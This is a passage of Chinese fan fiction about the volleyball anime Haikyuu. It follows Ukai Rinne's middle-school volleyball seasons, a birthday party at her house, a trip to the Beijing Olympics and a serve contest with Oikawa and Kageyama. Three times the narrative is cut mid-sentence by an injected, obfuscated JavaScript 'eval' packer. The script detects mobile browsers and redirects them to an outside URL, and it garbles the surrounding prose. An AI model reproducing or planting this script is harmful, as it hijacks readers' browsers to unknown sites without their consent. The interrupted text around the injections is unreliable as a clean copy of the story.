“嗯，走吧。” 五色工瞪大了双眼，直白地问学长们：“乌养前辈是在和牛岛前辈交往吗？” “？胡说什么呢？太无礼了！他们只是青梅竹马罢了。”濑见英太纠正道。 大家点点头。 “对不起，是我误会了。”五色工不好意思地挠挠头。 今天晚上，他们六个人和往常一样，坐一起吃饭，五色工很自然地坐在了大家旁边。 所有人都看了他一眼，没有发表意见，默许了他的加入，倒是川西太一忍不住“啧”了一声。 后来，五色工每天都和他们一起吃晚饭。 很快，四月十五号，是川西太一的生日，凛音知道太一的家境还好，但是家里管的还挺严，零花钱给的不算多，所以她不会送什么贵的礼物，最好是手做的吧，不然她怕猫猫为了还礼物没钱吃饭。 思来想去，扎了一只橘猫羊毛毡挂件，收下这份礼物的时候，太一显得很无语。但凛音有次路过他座位时有注意到他偷偷把挂件挂在文具袋上了。凛音很贴心地没有戳穿他，她怕小猫炸毛了以后就不挂了。 27.全中前的平静 过了几天，女排部一下子来了整整二十张入部申请，凛音一一同意，并对她们进行了意愿核查，其中十个人是以女排为第一社团，愿意每天参加部活的，剩下十个人以女排为第二社团，自由参加。 凛音把这十个人按照水平依次分到一队和二队，这次的新生让凛音很满意，有两个水平还不错，今年就可以试着上场了。 这一届来了这么多人，有不少是追着凛音来的，还带着对她的光环和滤镜，希望以后不会幻想破灭吧。 凛音花了几天，和教练组一起，给大家制定了新的训练计划。 而且因为上一届春中暴露出的体能问题，教练组决定引入晨练，早上跑步，她们白鸟泽国中女排部以前是没有这个传统的，凛音倒是无所谓，她每天都会晨跑，只好无奈地看着其他人都是一副要死的样子。 这下子部里面热闹多了。 男排也是一样的情况，就是不知道为什么入部的人数比以往多了。 而凛音一去男排练球，就会有一阵欢呼…… 那天，她偶然路过了社团的宣传板，那里还贴着她亲自设计的女排部海报呢，鬼使神差的，她朝那里看了一眼，一眼就看见了自己的照片，穿女仆装的照片。 凛音一时有些奇怪，走过去细看了一眼，艹，乌养凛音后援社？？？这是什么东西？？？ 她去查了一下，还真有这个社团，是白鸟泽初中部人数最多的社团，是很多人的第二社团。 神经吧，这种社团是怎么通过申请的啊？ 凛音感到很无力。 她把这件事告诉了黑川凪，凪一脸淡定，告诉她，自己就是这个社团的副部长。 ？？？ 凛音彻底沉默了。 据黑川凪所说，后援会有很多艺术类社团的成员，在她们比赛时都很愿意去当拉拉队，隔壁篮球部有比赛时，还会找后援会借拉拉队。 …… 过了几天，凛音完全接受了。 她甚至开始向濑见英太炫耀自己有个后援会。 “凭什么！凭什么比格犬也能有自己的后援会！”濑见英太很不服气。 “嫉妒使你面目全非，毕竟我就是这样一个有魅力的美少女啊。”凛音无视濑见英太的比格控诉。 其他人脸色如常，五色工一脸崇拜。 说起来，五色工入部这么久，每天都面对高冷的学长们，只有凛音会经常夸奖自己，尽管她时常捉弄自己，但五色还是最喜欢乌养学姐。 有一天，五色突然就想到，大家都喊她“凛音”，只有自己和其他一年级的部员才叫她“乌养前辈”，他也想喊学姐的名字，他作为未来王牌，不想被区别对待。 刚好这天是凛音来男排训练的日子，五色工说干就干。 下午部活还没开始时，他在走廊里来回踱步，像是在演练什么重大战役。终于，他看到凛音和牛岛若利并肩走来，立刻冲了上去。 “乌养前辈！请等一下！” 牛岛若利平静地看了一眼，脚步未停：“我先去体育馆。” 凛音看着眼前呼吸急促的后辈，好笑地问：“怎么了？这么着急。” 五色工攥紧了拳头，像是用尽了全身力气，大声说道：“我发现，牛岛前辈、濑见前辈、大平前辈他们都直接叫您的名字！” “所以呢？”凛音已经猜到他要说什么了。 “所以！”五色工的脸涨得通红，但眼神无比认真，“作为未来要超越牛岛前辈的王牌，我不能在称呼上落后！请允许我也叫您的名字！” 凛音看着他这副样子，忍不住笑出了声：“哈哈哈哈，好啊，就凭你这份莫名其妙的斗志，我批准了。” “非、非常感谢！凛音前辈！”五色工猛地一鞠躬，然后像完成了一件大事一样，转身同手同脚地跑走了。 然后想到了什么，他又回过头来，补充了一句：“前辈也可以叫我的名字！” 濑见和大平就走在后面，一时间有点没反应过来。 “真是胡闹！”濑见严厉谴责。 “哎呀，小孩子而已嘛，多可爱。” “你不也才比他大一岁？”濑见无情反驳。 “你不懂，虽然我只有13岁，但是我的心理年龄已经成年了，我是个成熟的大人了。”凛音深沉地说。 濑见被她的厚脸皮震惊地说不出话来，一旁的大平狮音擦了擦还未生成的冷汗。 “可怜的孩子。”大平狮音感叹道，叫名字，可是被凛音迫害的第一步啊。 凛音把五色工的事抛在脑后，开始想预选赛的事。 现在已经六月中旬了，今年女排的宫城县预选赛在六月底，两天比完，比赛安排的很密集。男排的预选赛比她们晚一个星期。 这次女排的时间要宽裕的多，首发阵容上还是和上学期练习时候一样，这一届还没有立刻就能上场的一年级新生，教练打算下次春中的时候再投放。 凛音目前比较担心岩下雅美，去年她上场时还有今川加悦来兜底，但今年就全靠她自己了，有没有人兜底，这完全是两种感受。凛音去关心过她，但雅美说自己没有问题，凛音就放心让她自己来调节了。 再怎么想也没用，还是要靠队员自己啊，凛音开始练球，今天她要教五色工练发球。 “阿工，过来练球了。” “是！凛音前辈！” 就在第三天的下午，凛音和川西太一一起去体育馆参加部活。突然，凛音觉得不太对劲，好像有股暖流…… 然后，太一突然一把拽住了凛音的胳膊，他红着脸，低头说到：“你…你是不是…那个…生理期…来了……” 凛音转身看了一眼屁股，短裤上很明显的一块血红，她有一点点尴尬，但更多的是对来生理期这件事感到烦躁。 太一默默把外套脱下来给她，低声说道：“你回去换一套衣服吧。” “嗯，谢谢你了，帮我和教练说一声，我今天晚点到。” 凛音接过外套，系在腰上，打算回去。 “要不要帮你请一次假，你没有不舒服吗？” 凛音有些诧异，看来川西太一生理课学的还不错嘛。 “不用，我没什么事，会来训练的。”说完凛音转身就离开了。 她回去换了运动服，垫上卫生巾，再把太一的外套洗好，等晒干后再还给了他。 接着又活蹦乱跳地去体育馆练习了，真好，第一次生理期完全没有痛经。 很快，县预选赛就开始了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16821503|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，国中阶段白鸟泽的女排在宫城县还没有太多像样的敌人，毕竟凛音一个人就把县里面的天才都吸过来了，就北川第一强一点，但和她们还有差距。 而岩下雅美的这次表现证明凛音的担忧不是毫无道理的，这次比赛中她出现了不少失误，虽然不影响大局，但是很让大家担心，这个不是雅美的真实水平。 哪怕决赛赢了，白鸟泽的大队友们也没有特别开心，都忧虑地看着雅美。 岩下雅美再也承受不住多次失误带来的压力，嚎啕大哭起来。 “对不起……都是我不好，等去了东…东京我一定会拖后腿的，呜呜呜呜呜……” 大家纷纷跑去安慰，这两天的表现根本不是她的真实实力，她只是被压力压变形了而已，平日里的雅美和加悦学姐一样可靠。 “真…真的吗，我真的和加悦学姐一样可靠吗？”雅美泪眼婆娑地望着大家。 大家纷纷给出肯定答案。 雅美闻言，破涕为笑，放下了大部分的压力。大家也意识到雅美这次真的是成长了，也一起笑了起来。 一周以后，男排的县预选赛也开始了，凛音请假去看了个决赛。 决赛仍然是北川第一打白鸟泽。 但凛音明显看出来及川彻的心态不对了，急躁了一点，在凛音看来已经失去理智了，果然，他被教练换了下来，上去的应该是一个一年级学生，凛音以前没有见过。 这个一年级学生的表现让凛音有些惊讶，二传水平很高，或者说天赋很高，她想起了黑川凪，都是怪物啊，让她忍不住地感兴趣起来。 随即，凛音好像想到了什么，她可能猜到了及川异常表现的原因，也许是因为这个天才学弟吧，平时在赛场上才能感受到的压力，如今每天都能感受到。 凛音这次就不打算去骚扰及川彻了，这种事让他们自己内部解决吧，何况及川彻从来都不是孤独的，还有岩泉一呢。 最后，还是白鸟泽赢了比赛，2：0。 凛音给及川彻发了消息，表示安慰和关心，然后直接坐上了男排的大巴。 她在车里无聊的等了一会，男排的大家才排着队来上车，牛岛若利很自然地坐到了她旁边的位置。 “哟，竟然在车里看见你了，怎么没和北川第一那个人一起练球？”濑见有些不爽地问。 “及川今天还是更适合和朋友在一起，我就不去打扰了。” “你可真是关心他哦~”濑见依旧阴阳怪气。 凛音直接戴上耳机，耳朵一堵，不听不听。 濑见：！！！ 生气 “你说你，非要惹她干嘛，现在又不高兴了吧。”大家纷纷落井下石。 这下濑见也直接带上耳机，无视大家。看了一眼他的索尼mp4，又觉得没那么生气了。 五分钟以后，濑见英太偷偷转头看了一眼凛音，头歪在若利肩膀上睡着了…… 一共就十分钟路程吧，还睡觉……濑见在心里吐槽着。 预选赛结束后，就是期末考试，女排部的大家又费了一番功夫让黑川凪和木本瑶低空飞过了，这都成每学期结束的保留节目了。 七月下旬放假，大家训练了几天，八月初坐上了去东京的大巴。 28.再创佳绩 凛音对待这次的比赛很乐观，她们队伍有她这个最强主攻手，天才二传，天才自由人，天才拦网，副攻和接应也非常强，有什么理由成绩不好呢。 不过唯一的缺点是，这些天才有相当一部分还没有成长起来，还只是二年级，身体没有发育成熟，原本的优势发挥不出来。 凛音心中有了一些决断，今年拿不到冠军是正常的，但明年她三年级一定会给白鸟泽带了十年来的第一个冠军。 白鸟泽首轮继续轮空，第二轮和第三轮赢得比较轻松，进入八强，第四轮战胜兵库县的濑户，进入四强。 到了四强，所有人都异常的紧张与兴奋，白鸟泽女排这几年的最好成绩就是季军了，能不能突破在此一举。 这次对战的是她们之前输过的富士见台。 富士见台这两年的拦网和进攻都很强，相对来说比较克制凛音，但很可惜，凛音经过一年的发育，身高和力量再次突破。 国一时，她的身高只有一米六五，力量大概是4，现在长到了一米七三，力量已经接近了恐怖的5，国中女排的防守体系已经很难拦得住她了。 最终，凛音强行撕开了富士见台的防御体系，2-1淘汰了冠军种子队富士见台，挺进决赛。 所有队员都高兴得不得了，这是近几年白鸟泽女排最好的成绩了。 凛音极其暴力和极具冲击力的扣球风格折服了全场观众，白鸟泽后援团更是激动的要疯了，全场都在狂欢。 退场以后，凛音让大家冷静下来，明天还有一场决赛要打呢。 说实话，她现在已经有了不详的预感，这次的胜利让大家太过兴奋了，发泄完情绪后，很可能就泄气了。 她想起了上辈子cs职业赛场上，老鼠终于复仇小蜜蜂那一战的后续，因为太过高兴结果乐极生悲，决赛时0-3被绿龙一脚踢死。 希望不要这样吧。 果然，最后一场决赛，对战大阪的名校难波宫学园，大家的状态都不是太好，1-2输了。 昨天还是兴奋到落泪，今天就沮丧到落泪了，凛音再次感慨，这就是竞技体育的魅力啊。 但是不管怎么样，她们还是拿到了亚军，回到宫城又开开心心地去吃火锅了。 而男排那边的成绩没有女排那么好，仍然是四强，完全可以理解，如果让牛岛若利去女排打，他也能所向无敌，毕竟他的数值要比凛音略高，可惜，这是男排。 这次比赛结束，爸爸妈妈为了奖励她拿了亚军，送了她一部当下潮流的苹果手机，让凛音颇为好奇，她还没见过这么古早的苹果手机呢。 更令人兴奋的是，社团放了一周假，爸爸妈妈请假带凛音去北京看奥运会。 上辈子北京奥运会的时候，凛音还特别特别小呢，这次竟然能亲自到现场去看，可惜最最震撼的开幕式已经结束了。 这次乌养夫妇还带上了牛岛若利。牛岛的爸爸在美国，妈妈没空，但家里知道他选择体育道路肯定是想去看看的，于是拜托了乌养夫妇，妈妈的家族和牛岛家族关系一直很好，他们两个家庭也是私交甚笃。 北京奥运会是中国非常非常重视的超级大事，世界各地的游客都会来参观，出于安全考虑，对游客的审查也会更加严格，要进入北京的手续会更加难办。幸好爸爸妈妈提前一个月就准备好了一切。 下了飞机，爸爸妈妈带着两个小孩，大包小包的，很快，就有住在北京的朋友开车来接他们。 这个时期好一点的酒店真的很难抢，哪怕他们提前一个月也是一样的，干脆去中国的友人家里借助。 这位阿姨是妈妈的朋友，家里刚好有闲置的房子，借给他们住几天，还亲自开车来接他们。 关于奥运会，爸爸妈妈买的票并不多，只有排球的比赛和具有观赏性的几场体操比赛，剩余时间就在北京玩玩吧。 平时，他们四个人根本就不会共同行动，爸爸妈妈去过二人世界了，放心地让凛音和牛岛若利在北京乱逛。不过结合他们俩看自己和若利的眼神，凛音总觉得他们目的不纯。 上次研学的时候两人已经去了北京的不少地方，不过是为了学习，这次是作为游客来的，那么游玩体验也会不一样。 凛音想去找端木燕玩一会，可惜她在做奥运会的志愿者，没有时间。 所以主要还是凛音带着若利在北京到处跑，一路吃吃喝喝，逛逛各种景点。 八月的北京真的很热很热，凛音涂了厚厚的防晒，每个小时都要补一次，还撑了遮阳伞。 虽然说牛岛若利不太在乎被晒黑，但凛音还是怕他晒伤，带他一起撑伞，两个人挤一块的结果就是更热了。 一天室外活动下来凛音流了一身汗，恨不得一天洗八回澡，她再也不想去炎热的室外景点了。那就只能去一些博物馆剧院，或者郊区的一些景点会凉快一点，还能去逛一逛北京的商场。 不过参观游玩都是看比赛之余的事情，主要还是为了排球比赛。他们一起看了几场感兴趣的比赛，两人的眼神里都带着憧憬，职业的强度真的太高了，战术决策配合也十分优美，他们很期待自己未来有一天也能踏上这个舞台。 在北京的这几天过得十分愉快，可惜，他们只能待七天，甚至看不了决赛，凛音和若利带着遗憾的心情回到日本。 到家以后，又要开始每天的社团训练，不过让大家都很开心的是，部活期间，可以一起看排球比赛的直播。 教练会给她们讲解一些职业使用的技巧和战术，一直讲到大家看完了所有的比赛。 最终女排的冠军是巴西队，男排的冠军是美国队。 奥运会结束后，大家的排球训练再次繁重了起来，不过没有人喊累，大家都在坚持，这让凛音很是欣慰，出于对这些小朋友的鼓励，她每周都会请坚持完成所有训练的部员吃东西，明显能看出来大家的干劲更足了。 暑假末尾，八月二十二号，是五色工的生日，凛音打算请男排的朋友们到她家吃饭，她会亲自做中餐。 那天是周五，他们要训练到中午，大家在食堂随便吃了点东西，然后凛音的妈妈请了司机来接他们，司机把没有开进凛音家的范围之内，在大门口把他们放了下来。 “哇！好大哦！”大家从来没来过，不禁感慨到。 凛音家的院子大的像一个公园，深处是一座超大的日式宅子，和牛岛家很像。 大家沿着大路从院子门口走到宅子门口，走了有十多分钟，一路经过了一个排球场，一个泳池，一个绿化还不错的小环形跑道，一个茶室，一个玻璃温室，一个露台餐区，靠近宅子的地方布置得很有意境，大路成了竹林大路，一旁还有一座赏樱用的小土坡，一座锦鲤池，这才终于进了家门。 大家第一次看见这种财团的豪宅，直接开始喊凛音叫“大小姐”。 凛音无奈解释：“其实我不算大小姐，我妈妈才是，这座房子是我外公外婆留给她的，我们乌养家还算中产家庭啦。” 国外对中产的定义比较宽泛，有些过着富豪生活的外科医生也被算作中产，因为他们的收入来源还是工作。凛音家里的收入来源也是靠爸爸（忽略不计）妈妈的收入，而不是继承家产就高枕无忧了的富豪，毕竟妈妈不是家族企业的继承人，为了家族资源的集中，她是分不到多少财产的。 如果将来妈妈创业比较成功的话，说不定他们家就成富豪阶级了，现在的话还是差一点的，至少算是有实无名，名义上是上层中产，实际上享有资产阶级的生活条件和人脉关系。 “不过若利倒是个大少爷。”凛音直接祸水东引。 若利爸爸是入赘的，母亲是继承人，所以他当然算得上大少爷了，他家也确实比凛音家里有钱得多。 若利无奈地解释了家里的情况，引起了一阵仇富情绪。 进了家门以后，大家好奇地打量，发现除了大一点，和普通人家也差不多。 “除了二楼锁上的房间，你们随便看吧。”凛音招呼他们。 “我去给你们拿点喝的，家里只有苹果汁和桃子汁了，很抱歉。” 凛音在冰箱里翻翻找找，好像突然想起了什么，不好！！！ “一楼第三个房间不要进去！！！”凛音一边跑一边喊。 但是来不及了，凛音看见那个房间的门已经开了。 完蛋了，把这个房间给忘了…… 凛音垂头丧气地走进去，一屋子全是她的照片，刚出生的，五个月大时抱着排球的，玩球的，被球砸的，幼儿园时练球的，和牛岛若利的合影，和黑川凪的合影……当然还有各种她的黑历史照片。 大家被满屋子的照片震慑住了，一时间都沉默的看着凛音，而凛音已经羞愤得快烧起来了，脸皮厚如她也受不了了。 她还没做好把这些照片给这些朋友们看的准备，还是满屋子的照片，有黑历史的照片。很多人在不同的朋友面前是会有不同的一面的，这个房间她可以接受若利和黑川凪进来，但接受不了其他朋友进来。 大家也很不好意思，一时间他们都不知道要说什么、做什么，只是眼神乱瞟。 凛音很快理智回归，她必须要做点什么掩饰尴尬，她看了牛岛若利一眼，就决定牺牲你了！ 凛音上前把牛岛若利捶了一顿，恶狠狠地说：“你明知道这个房间放的是什么，为什么不阻止他们进来！” 牛岛若利也是一脸懵逼，心想，你也没告诉我啊，但他看到凛音的眼神时，奇迹般地懂了，这是让他不要说话乖乖认错的意思。 “对不起，我错了。” 大家一见局面有了开口，疯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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饭桌上，凛音和牛岛若利的饭量依旧惊人，其他人早就习惯了，只有五色工仍然在不服气，开始单方面和他们俩比拼。 牛岛若利根本看不出来，凛音倒是看出来五色在和他们比饭量，但今天她没心思理他，她现在总有一种忘了什么的感觉，她在努力思考。 “喂，凛音，你在想什么呢？”濑见看了出来她的心不在焉。 “我总感觉好像忘了什么事情，但我也不知道忘了什么？” “我也有这种感觉！”*5 只有牛岛若利没感觉。 这下众人都开始一边吃饭一边思考，饭吃完了，阿姨开始收拾桌子洗碗了，大家也没有想起来到底忘了什么了。 少年们准备离开了，都要说“再见”了，凛音终于想起来了。 “我们是来为阿工过生日的！！！” 坏了，玩了一下午，吃了一顿饭，全忘了，果然啊，给五色工过生日都是借口，找个理由一起玩才是目的啊。 五色工泪眼婆娑地控诉大家竟然忘记了自己的生日。 “明明你自己也忘了好不好……”川西无语吐槽。 凛音赶紧去冰柜里拿出昨晚她和阿姨一起做的冰激凌蛋糕，这是她送给五色工的生日礼物。 刚从冰柜出来的冰激凌蛋糕冰冰凉凉的，正适合夏天吃。 五色工作为寿星，分到了第一块。 五色尝了一口，眼睛直接亮了，一边大口炫一边称赞：“太好吃了！凛音前辈太厉害了！” 大家很快都把自己的那份蛋糕炫完了，凛音得意叉腰，直呼“不愧是我”。 而五色工作为今天的寿星，拿到的蛋糕是其他人的三倍，他还在炫第二块呢，就发现第三块已经被前辈们抢完了，他一边哭一边赶紧炫，生怕这一块也被抢走。 而曾经总是鼓励她的凛音前辈抢的是最多的，五色见此哭得更凶了。 这一磨蹭又是将近两个小时，现在都已经晚上九点多了，凛音的爸爸妈妈都到家了。 “叔叔好，阿姨好。”礼貌打招呼*6 “你们好啊，都九点了，这里也打不到车，我们送你们回校吧。” “不用了，不用了。” 大家都不想麻烦凛音的爸爸妈妈，想想也知道人家工作一天肯定很累了。 那怎么回去呢？ “你们去牛岛家住一晚呗。”凛音随口一提，反正牛岛家大，睡七八个人不成问题。 五色工立刻期待地看向牛岛若利。 “哦，好啊。”牛岛自然是完全不介意的。 所以今晚大家都去牛岛家住一晚。 从凛音家走到院子门口要走十分钟，走到牛岛家院子门口又要走十分钟，再走到牛岛家又是十分钟…… 29.升三年级 第二天，凛音照常一大早就起床，骑自行车去参加部活，而男排的几个少年也被牛岛家的人送到了学校。 又是美好的一天啊，凛音骑着车愉快地想着。 不过很快，暑假要结束了，凛音又要开始补暑假作业了，还是两天补完，美美上学，白鸟泽的作业再多也没有上辈子初中时候的多嘛。 这学期又有文化祭和研学旅行了。 凛音他们班又搞咖啡店，这次主题不是女仆男仆了，变成了最近比较流行的西幻王子风格了。 不过服装预算有限，大家投票选了五个服务员作王子去端茶递水，乌养凛音同学全票当选，川西太一高票当选，还选了三个小帅哥。 …… 凛音无语，又嚯嚯她了。 而女排部那边凛音不想浪费脑细胞，还是和去年一样，美名曰：“这是排球社的传统。” 男排这次还是跟着女排走，也和去年一样。 这回，凛音的王子装是深黑色的，和她偏白的银色头发完全相反，不笑的时候整个人都显得十分高冷、优雅，微笑的时候更是让整个白鸟泽的女孩子们心动，不过笑容大一点的时候就显得有点傻了。 她的同学们让凛音一定要绷住表情，不要笑得太灿烂，不然就成傻子了，为了形象而战斗，凛音誓死也要守卫自己的表情。 噗嗤…不好，老是想着这件事更容易笑了啊！ 凛音花费了一番功夫，终于制服了自己的表情，一到班上看见了川西太一。 大橘猫穿的是纯白的王子服。不得不说，傲娇冷脸小猫咪穿上这种衣服真的很帅啊，凛音在心里夸奖着，可惜比起她来还是差了一点。 她很自然地露出了她平日里的那副笑容，和川西太一打了个招呼。 川西太一打量了她一会，难得的嘴角弯起一个弧度，用温柔的语气说出最恶毒的话语：“笑的跟傻子一样。” 凛音瞬间冷脸，怒视川西太一，她真的要生气奥，生气了奥。 瞪了川西太一好久，他还是无动于衷，好好好，凛音转头打算离开。 川西太一拉住了她的胳膊，无奈地道歉：“对不起，王子殿下，我错了。” 凛音闻言，下意识想露出笑容，但是已经被嘲笑过一次了，怎么可能再次失误。 她冷着脸转过身来，用冷漠地语气开口道：“既然如此，本王子就原谅你了。” 这幅冷漠的样子一瞬间让川西太一有点失神，但看到她狡黠灵动的眼睛时，太一又回过神来。 “好了，别闹了，去干活吧，客人要来了。”太一把凛音赶去工作了。 “哦，好吧。” 他们班上五个小王子端茶递水，但经常只有四个人，总有一个要去兼顾社团。 凛音全程保持了班上同学说的最帅的表情出去营业，斩获了一批少女心，吸引来了越来越多的人。 好多人啊，可是他们只有五个，不是，四个服务员啊，不要这样啊…… 凛音忙的头昏，如果有微信步数，那她肯定是朋友圈第一名，或者在川西太一下面一名。 到了下午，川西太一从社团回来，凛音见状，匆匆跑去了女排社团的摊位，这身衣服换起来比较麻烦，也不适合运动，所以她这次没有去教发球，而是站在了小游戏区当吉祥物。 而人流又从班上追到了体育馆…… 看来凛音是天生文化祭操劳命了。 今天结束之后，明天就相对轻松一点了，凛音甚至还有空去逛一下别的班级的店铺，参加参加学生会的一些小活动。 今年的文化祭也是圆满结束了，然后凛音发现自己后援团的照片又更新了…… 过几天要开始研学了，这次凛音和黑川凪一起选了德国，以前没去过，她对德国还挺好奇的，想知道严谨守时是不是刻板印象，是不是真的没有幽默细胞。 去了一趟以后还挺失望的，没想象中的那么好，菜也很一般，有的还很难吃。严谨守时倒也不见得，但确实没有幽默细胞。 回到日本后，要完成研学报告，但更重要的是春中，这也是三年级的最后一次比赛了。 这一次，三年级的五个主要成员都没有退部，尤其是木本瑶，已经放弃在学业上努力了，反正以这家伙的条件足以走体育特招了。 第一步是预选赛，尽管知道县里不太可能出黑马了，但凛音也没有完全松懈。这次二三年级有12个人能够上场，还可以再塞两个一年级生，预选赛里这两个一年级生从第一场到决赛都有上场，最终也是毫无意外地顺利出线。 今年宫城县的女排奖项也基本被白鸟泽全包了，凛音又拿了一个最佳主攻手。 下周就是男排的预选赛了，凛音再次请假去看了决赛。 还是北川第一对战白鸟泽，凛音有注意到及川彻的状态和上次比赛比起来好了很多，看来是问题解决了。 这次，北川第一拼尽全力，赢了一局，被白鸟泽2-1打败。 凛音看着那个拿了宫城县最佳二传手的及川彻哭得稀里哗啦的，还嘱托后辈，很是新奇，打算今天去找他练练球。 从厕所出来又遇到了牛岛若利开始劝及来白，及川彻自然是不同意的。 凛音无奈上前，自从上次和及川彻聊过她就明白及川彻绝对不可能来白鸟泽，这个话题以后就不用开始了，这完全是两种不同的理念。 牛岛若利显然认为在更好的环境中能变得更强，但及川彻坚持自己的自尊，不会偷懒选择这条更容易的路。 “闭嘴，若利。下次不要对他说这个话题，道不同不相为谋。” 牛岛若利盯着及川彻看了两眼，转头离开了。 “唉，不知道还能不能为那个笨蛋辩解，他真的很喜欢你，在他心里你是个非常优秀的二传，没别的意思。” “小乌鸦这是在安慰我吗？及川大人可是很脆弱的，再说下去说不定会心动哦~不过放心吧，我比谁都清楚牛岛是个多么无趣的笨蛋。” 凛音无语地翻了个白眼，有时候真想踹他一脚，不爽地问：“练球否？” 及川彻突然转身凑近：“诶~小乌鸦今天这么主动？那就让你见识下宫城县最佳二传的特别指导吧~” “别乱给我起外号，虽然我的确是乌鸦的后裔。”她爷爷是乌鸦教练嘛，她自然也是继承了一部分乌鸦习性的。 两人去了排球场，打算练习，刚好遇上了让凛音感兴趣的那个一年级的天才二传，于是把他喊了过来。 “喂，及川，这次玩点不一样的吧。那个是你的学弟吧，让他来接一接，我们俩个的发球哪个更难接一点。” 及川彻眯起眼睛露出危险的笑容：“啊啦，小白鸦真是出了个有趣的主意呢~” 他对朝学弟招招手：“小飞雄！要来当裁判吗？可是很辛苦的哦。” 影山面无表情地走近，目光在凛音身上短暂停留。 及川一把搂住影山的肩膀：“这位是乌养凛音，白鸟泽的女武神。”他凑近影山耳边，声音压低却足够让所有人听见，“别看是女生，发球比小牛若还可怕哦。” 然后他松开手，夸张地叹了口气：“这是影山飞雄，我们北川的超级新人~”随即又绽放笑容，“不过要超越及川大人还早十年呢！” 影山站在网前，眼睛里燃起战意。他默默调整站位，双腿微屈，全神贯注地准备迎接来自网带两侧的考验。 及川彻率先发球。他抛球、助跑、起跳的动作流畅，在击球的瞬间爆发出惊人的力量。排球如炮弹般直扑影山所在的半场，带着强烈的旋转，轨迹刁钻至极。 影山迅速移动，双臂并拢准备接球。在触球瞬间，他脸色微变，球的力量和旋转远超他的预期。虽然勉强接起，但球高高飞向场外，完全无法组织进攻。 “哎呀呀，”及川轻巧落地，语气带着刻意的遗憾，“小飞雄还要多练练呢~” 轮到凛音。她站在底线后，神情专注。简单的拍球准备后，她助跑起跳，挥臂的动作干净利落。球速极快，几乎是笔直地砸向影山脚边。影山俯身扑救，球重重击打在他的小臂上，发出一声闷响，球飞到了网对面，影山手臂上已经浮现出明显的红痕。 及川吹了个口哨：“看来女武神的球也没那么难接嘛~” 凛音无视他的调侃，看向影山，询问结果。其实她自己也知道，她的跳发在技巧上比及川彻差了一点，但是她也不指望及川彻愿意教她。 影山揉着发红的手臂，诚实回答：“及川学长的球更难接。旋转很强，轨迹难以预测。” 这个答案让及川露出得意的笑容，但影山紧接着补充：“但乌养学姐的球速更快，力量也很大。” 三人之间的空气变得有些微妙。及川彻看着网两侧的两个人，一个是他不愿承认却无法忽视的天才后辈，一个是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827694|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与他旗鼓相当的异性对手。 “继续？”凛音挑眉问道，打破了沉默。 及川彻扬起嘴角，眼中重新燃起光芒：“当然，今天一定要让小飞雄见识下什么是真正的发球。” 影山沉默地回到接球位置，眼神更加专注…… 这次发球小比拼很难说谁赢了，凛音的大力跳发比及川彻差一点，但她同样精通跳飘球，而及川彻不会。 凛音没练多久就和及川彻、影山飞雄告别了，她今天还要回学校加练呢。 不得不说，凛音给一年级的影山飞雄留下来了深刻的印象，对影山飞雄来说，及川彻是一个他在国中阶段拼尽全力也无法超越的完美二传模板，而如今，却出现了一个和这座大山同样高度的异性，甚至她只比自己大一岁。 回去后，影山飞雄上网搜索了乌养凛音的信息，一搜吓一跳，各种头衔：什么全中二年级的MPV，全中春中一年级的最佳主攻手，全国小学生大赛两连冠，日本女排最令人期待的选手，白鸟泽的女武神，乌野名门之后…… 另一边凛音也记住了影山飞雄这个名字，她总感觉这个少年和她家凪有些相似。 考完试后，过了个圣诞节，大家就要启程去东京参加春中了。 这次她们一路上有些波折地打进四强，半决赛上遇上了幸运的御茶之水，轻松打败。 御茶之水的运气真的很差了，实力上大概能排第六名左右，前面还有一些学校被她们克制，运气好了是能进四强的，但她们被白鸟泽克的死死的，偏偏前几次都在进八强和进四强之战上遇上了白鸟泽，这次终于是进了四强。 决赛又是对战大阪的难波宫，可惜这次还是棋差一招，惜败。 又是一个亚军，因为全中已经拿过亚军了，大家对亚军的免疫力直线提升，没有那么兴奋，那也就剩下输了比赛的沮丧了。 这次比赛的MVP没有给冠军队，而是给了乌养凛音，也是实至名归了。 男排那边，三年级的最后一战，终于拿到了亚军，给三年的国中排球生涯画上了还算完美的句号。 回宫城后，女排的大家一起聚餐，哭得稀里哗啦地，送走了三年级的学姐们。 男排那边，牛岛若利他们也退部了，听说五色工哭得可伤心了。 到了三月，又是一年毕业季。 凛音和三年级的学姐们告别，大家一起在盛开的樱花树下拍合照。 年年岁岁花相似，岁岁年年人不同。明天的现在就轮到自己了吧，时间过得真快啊，凛音不禁感叹道。 “喂，凛音，别发呆了，快来拍照了！”濑见英太拍了拍她的肩膀，把她拽到了树下。 和男排的少年们拍了各种合照，哪怕没毕业的川西太一和五色工也都分别和凛音拍了合照。 可怜的川西太一花粉过敏，一边打喷嚏一边拍照，尽管拍完就立刻戴上了口罩，还是打了好久的喷嚏。 送走了三年级，凛音她们也要考试然后放春假了。 四月一号开学，又等来了一年的新生，凛音收到了教练的通知，今年有五个排球特招生！？ 开什么玩笑？！竟然有这种大好事！ 